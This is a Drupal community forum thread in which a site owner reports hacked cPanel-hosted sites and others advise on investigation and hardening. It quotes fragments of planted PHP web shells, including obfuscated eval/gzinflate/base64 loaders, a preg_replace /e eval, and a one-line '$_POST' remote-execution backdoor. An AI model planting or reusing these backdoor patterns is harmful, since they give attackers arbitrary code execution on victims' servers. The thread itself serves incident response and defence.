My server was attacked and code files added and changed on four of about twenty drupal installations I have on the server.
I think I discovered this within 24 hours of it happening.
I've deleted inserted files and reverted changed files back to their previous state. Having these sites under SVN control has been hugely helpful.
As far as I can tell the sites are functioning normally and the databases intact. But I need to do further investigation.
Here is my set-up and what I know.
I lease a server (dedicated, not VPS or other sharing scheme) from inmotionhosting.com. It's running CENTOS 5.7 x86_64 standard on an Intel Xeon CPU E3110 @ 3.00GHz.
The server is running cPanel 11.30.3.
I give each of my clients a cPanel account. None of my clients have cPanel access. I work with very small businesses and non-profits and can limit chaos this way without adding too much work for myself. Only two of my clients use the server for email, all the rest use Google Apps or something else. All my clients have Drupal sites that I've built or taken over.
I use super strong passwords; different passwords for each and every account. However, I do use LastPass and it's extension for Firefox. I had been assuming that was safe to use, but, maybe not?
Of the roughly 20 cPanel accounts, 4 were hacked into.
In two cases includes/bootstrap.inc was replaced with a file that was exactly the same as the original except with Windows line-endings versus *nix line-endings.
That was also the case for one site with index.php, original replaced with identical copy with Windows line-endings. And for another same thing with file modules/poll/poll-vote.tpl.php.
The following files were added in various combinations to the four sites. it was usually two added files per site. I actually didn't keep track of which directories they were put in. In a couple cases it was the domain root, but more often it was includes/.
Here are the file names:
backup.php
drupal.php
forum.php
xmlrpc.php
color.php
main.php
xml.php
xmlrpc.inc.php
I'd be happy to post the contents of these files to a pastebin or inside code tags here, but I want to know what the proper procedure is before I do that. But I'll give you some highlights. In the case of drupal.php it was a well formed commented file with the first comment being, " Drupal shell execution script."
backup.php, xmlrpc.php, main.php are identical and start out like this:
<?php <?PHP
$login = "admin";
$md5_pass = "aba0f842dd37624a896d32ea00320809"; //gov but no gvrn or god of death shinigami
eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2... ?>There is a long string that follows.
I googled "gov but no gvrn or god of death shinigami" and got nothing.
FYI my user/1 user name is not "admin".
forum.php starts out:
<?php <?php
$auth_pass = "aba0f842dd37624a896d32ea00320809";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65... ?>there is a long string inside the preg_replace.
color.php is a clone of modules/color/color.install with the following line appended at the end:
@$_POST1;
xml.php sets a bunch of globals, create long array in a function called function _1482563591($i)
xmlrpc.in.php and xml.php have the same structure but the contents of the long arrays are different. A similar weird function is created in each, but with different names.
After posting this, my next step is checking server logs. I'll report back.
I'd appreciate any advice that you can give.
Argh!
Shai Gluskin
Comments
Fun!
Sorry to hear, Shai. Never a good way to start the day...
I'd love to see the drupal.php...I think pastebin's the preferred way.
The forum.php piece you posted looks like "standard" encoding tricks used to obscure what they're up to, although I'm more used to seeing that in javascript.
I'm curious how they got in - since they compromised multiple sites, you'll have to consider what's similar between them:
Thinking about it, if there's several sites popped on the same system, either the attacker just happened to hit several sites that you host (do you advertise a list of sites you host somewhere?) or else they didn't come in via the web.
You haven't been hanging out on public wifi, accessing your server over unencrypted network access, have you?
Good luck!
John
Protected Industries
All Breached Sites Running 6.22
I forgot to mention that all the breached sites were running pristine code in core and contrib. None of contrib had outstanding security notices.
Shai
Shai Gluskin
Content2zero
Thinking About How They Got In
John @proindustries,
Here is the drupal.php file: http://pastebin.com/HmzPshRN
Thanks for your support.
Three of the four sites breached promote a solution to the Israel/Palestine problem that is not appreciated in some circles. There is a fourth site that has a similar take but that one was not breached. There are about 15 other sites on the server, all not breached. I don't want to jump to conclusions yet, but...
SSH can only access my server if the IP accessing is whitelisted, explicitly. So even I can't access my server from a coffee shop. Now that I think of it, I think once in the past year, in an emergency, I added a coffee shop IP to the firewall. I'll check on that, but I think it is unlikely.
Maybe it was brute force via example.com/cpanel?
At my home office where I do 98% of my work, I do have wifi, but it is WPA protected. But I am within Ethernet reach of the router, I should probably switch to Ethernet.
Again, thanks John. And I appreciate any and all comments.
Shai
Shai Gluskin
Content2zero
Interesting...
I hadn't recognized the name drupal.php but it looks like part of D7? Almost the same file as https://svn.acquia.com/drupal/branches/7.x/scripts/drupal.sh
except for line 16 (I had to add space to get input filter to display right):
@$_POST['arg'] ($_POST[5]);If I'm reading that right, that looks like a nice little way to run pretty much anything remotely, without details ending up in the access logs.
Do you see any mention of drupal.php or the other files in your access logs?
If you have timestamps off the files before you moved things around, it might help establish where to look in log files to see when trouble began. Also, check ftp logs
Usually when somebody can't identify the method of a compromise and guarantee mitigation, I tell them it's time to reinstall the system. I don't expect you to do that, but you've been warned. ;)
They'll probably be back. Make sure ssh/scp/ftp/apache/firewall is logging with enough detail to provide use in the future. I'd recommend installing ossec to keep an eye for modified files. Configure it to check hourly, not daily.
Sounds like you have a few sites with a nice big target on them...again, good luck!
Protected Industries
cPanel
From the sound of it, I'd consider looking at either cPanel (if it is not IP restricted, which it sounds like it is not) or some type of configuration mistake. By that I mean allowing PHP input types somewhere, unsanitized inputs, unrestricted file uploads, etc. It could certainly even be an authenticated Drupal user for one of your sites that had their account+password compromised to enable login by an attacker.
I agree with reinstall - integrity is compromised and you don't know how or why.
I'm on linux and I noticed
I'm on linux and I noticed lastpass was too slow, so I uninstalled it.
Use syncplaces along with sortplaces and dropbox or san storage. You can help me get more space if you like: http://db.tt/1IFJOL2Q
Turn on selinux if you want to spend several days learning it. The relabeling takes some time, but troubleshooting helps if you get some help from tutorials. It will make for downtime, so you have to understand how to use it first. Try it through virtualbox.
iptables rate limit then ban ip is another section of security you should consider. Restrict ips for only those that need to logon to your server which I also recommend.
Also I second ossec, and ids/ips, along with AIDE to put the rest in place.
There's stuff on cpanel that
There's stuff on cpanel that doesn't automatically update with security releases, in particular Easy Apache. Make sure that's all up to date too...
lastpass or anyway of saving
lastpass or anyway of saving passwords in browsers are not secure as any virus on your local computer can get a copy of those.
how about the file permissions on those cpanel accounts. make sure those files are owned by the cpanel user (user and group). make sure no nobody user own any files, except for files inside of drupal's file directory (ex: sites/default/files) which could be owned by nobody when created or uploaded via browser.
even if you have 6.22 version, make sure all security updates are applied on modules, themes, and libraries.
since your server was compromised, you need to make sure that it is clean before putting them back online. cpanel logs are helpful enough to help you check how those files were modified and when.
and to protect your cpanel box, here are my suggestions:
- install CSF (http://configserver.com/cp/csf.html) if you don't have it yet. this is a very good os-level firewall created for cpanel server, and i even use it on non-cpanel servers. it comes with GUI under your WHM Plugins. it is FREE. there's also a Server Security Check which is very helpful to determine the overview if your server security, and there are builtin security profiles that you can use.
- checkout CXS (http://configserver.com/cp/cxs.html). it is a tool that works as a virus scanner of your cpanel server specially the cpanel accounts. it does scans all files of each cpanel account. also this can be setup to scan all files uploaded via the browser/website and ftp. this one has a one-time cost but it is cheap. i used this product on all of our cpanel servers.
- Cpanel -- review your backup configuration and make sure you set atleast the security updates to automatic and use stable branch, and always keep it up to date.
- OS -- make sure keep you box up to date with all of security package updates.
- keep everything up to date for all the sites hosted on the server (drupal core, modules, themes, libraries), and other servers you run (ex: solr, memcache, etc).
You'll have to defend your
You'll have to defend your statement that saving passwords in browsers are not secure. Firefox has FIPS mode, so there has been scrutiny in providing some standards in regards to storage of passwords. If the channel to the stored passwords are hacked into, due to a virus, it wouldn't matter if passwords were stored in the browser or not. The problem would then be how much damage can you prevent vs the convenience of storing many passwords. If you're using a SELinux environment, you can run firefox in a sandbox, and use a usb thumbdrive as needed and have it setup so that you need a master password to access your passwords, which will timeout after activity.
I had a similar thing happen
I had a similar thing happen on a client's cpanel server recently. From the logs it looked like the attacker visited the site (probably to ascertain what CMS it was running) then uploaded dodgy files via FTP.
How they authenticated to the FTP server I don't know.
My solution was to shut down the FTP server. There's no reason to run one these days.
Hope this helps others.
FTP
Certainly shutting down traditional FTP is important. Using unique login credentials with a strong password is another great practice, both for FTP, login/control panels, and all Drupal site users.
But ultimately, if I had to point to why many sites tend to get hacked I'm going with bad hygiene. Specifically, the combination of not applying security patches and fixes to your underlying stack and Drupal itself. That includes the SQL database, the web server software, and especially PHP. It's doubly important to apply Drupal core and module security fixes when they become available, and SOON after release. If someone pasted a duplicate copy of your house key on every street corner would you change your lock? Not updating Drupal and the modules is the same as ignoring that public house key. You are knowingly ignoring a very significant risk.
I'd also echo that validating your web server config is important, especially when simple mistakes can lead to a public attack vector. Finally, for those on public hosting, do whatever you can to firewall off or restrict access to cPanel and the other various hosting applications.
Google is quite helpful for all of the above for tutorials and details.
shutting down the ftp server
shutting down the ftp server is not a workaround, you should secure your drupal install better with some .htaccess rules.
bending technology to fit businesses.
Can you give me an example?
Can you give me an example?
FTP and .htaccess are totally
FTP and .htaccess are totally unrelated, so this advice doesn't make sense to me.
John
Coding Penetration madspot.net
They can control my site I think is under attacked.. what should I do ??
http://overclocks.it/
History repeating?
This reads to me very much like the 'Drupalgeddon' breach we had a little while back - almost exactly the same MO on the exploits. I found additional files on my server after I was alerted to them sending mass email (spam).
Interested to see what the vector turns out to be here.
It's easy to do an IP search on domains and see what other sites are hosted on the same server. If I was writing a spider to scan for potential victims I'd include that in the logic.
it's probably likely that a spider has identified one of your sites as a victim, then searched to see what other sites are on the same server, with the assumption that they're also open to exploitation.
Or it could be a digital arm of HAMAS lel ^_^